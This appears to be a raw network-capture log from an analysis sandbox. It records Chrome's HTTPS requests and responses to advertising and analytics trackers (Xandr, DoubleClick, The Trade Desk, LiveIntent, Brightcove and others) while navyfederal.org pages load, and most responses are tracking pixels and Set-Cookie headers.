2024-05-24 22:46:44 UTC	767	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3351986 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:44 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:44 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:44 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:44 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.6	50556	107.21.124.38	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	767	OUT	GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590803.3401504 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:44 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:44 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:44 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:44 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:44 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.6	50559	3.90.71.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	359	OUT	GET /event/track HTTP/1.1 Host: events.api.boomtrain.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	292	IN	HTTP/1.1 400 Bad Request Date: Fri, 24 May 2024 22:46:44 GMT Content-Length: 20 Connection: close Server: nginx access-control-allow-origin: * access-control-allow-headers: X-Requested-With, Content-Type, Authorization, x-app-id access-control-allow-methods: GET, PUT, POST, DELETE
2024-05-24 22:46:44 UTC	20	IN	Data Raw: 62 73 69 6e 20 63 61 6e 6e 6f 74 20 62 65 20 65 6d 70 74 79 Data Ascii: bsin cannot be empty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.6	50561	35.244.232.184	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	835	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae49fd858d3acf272af62c12&account=5289441629001&destination=https%3A%2F%2Fwww.navyfederal.org%2F&platform_version=6.67.7&player=players.brightcove.com%2F5289441629001%2FH1eDsUIBZ_default&player_name=NFCU%20Default%20Player&autoplay=false&ads_enabled=false&event=catalog_response&url=https%3A%2F%2Fedge.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F5289441629001%2Fvideos%2F5368522558001&time=1716590801913&response_time_ms=1741&seq=3 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Fri, 24 May 2024 22:46:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.6	50557	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	1189	OUT	GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&pf= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>AfryWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
2024-05-24 22:46:44 UTC	1662	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:44 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: a20f6bfd-c51e-481a-9907-9b007c540ec6 Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:44 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZN^uMU?MXkh`-s/RDCk7#?H@+L46TLu5OGby3jpHpI/l!/3Np`EIhzWNJBE#y3gwCSsb6'<$rQs`R_Yvr%A')'hMpwbZJNUOksJ0uC:i<hLd4)oX=hTft[HqF1`be.q/JEL5; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:44 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:44 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:44 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.6	50558	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	1499	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A4%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:44 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:15 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Fri, 24 May 2024 22:46:15 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.6	50560	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	833	OUT	GET /ddm/fls/z/dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.6	50562	142.250.184.226	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	862	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:44 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:44 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:44 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.6	50563	35.204.89.238	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	632	OUT	GET /p?cid=463774&cb=sifi_att_20021453318._hp HTTP/1.1 Host: i.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:44 UTC	340	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 22:46:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2024-05-24 22:46:44 UTC	46	IN	Data Raw: 32 38 0d 0a 73 69 66 69 5f 61 74 74 5f 32 30 30 32 31 34 35 33 33 31 38 2e 5f 68 70 28 7b 22 70 69 78 65 6c 73 22 3a 5b 5d 7d 29 3b 0d 0a Data Ascii: 28sifi_att_20021453318._hp({"pixels":[]});
2024-05-24 22:46:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.6	50564	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	1339	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
2024-05-24 22:46:44 UTC	993	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:44 GMT Content-Type: text/html Content-Length: 878 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:44 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUYBSgDMgsIlJDy4MOT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:44 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:44 UTC	878	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.6	50565	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	1495	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f714db1d-357a-48e6-bac1-7b09137a8ea9%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCKCDt4evp4YDFSohBgAdDGcAEg%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D7786574454292%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D552065252%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fcontact-us.html%3F%22%2C%22fingerprint%22%3A%22% [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:44 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:15 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:46:15 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.6	50566	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:44 UTC	835	OUT	GET /ddm/fls/z/dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
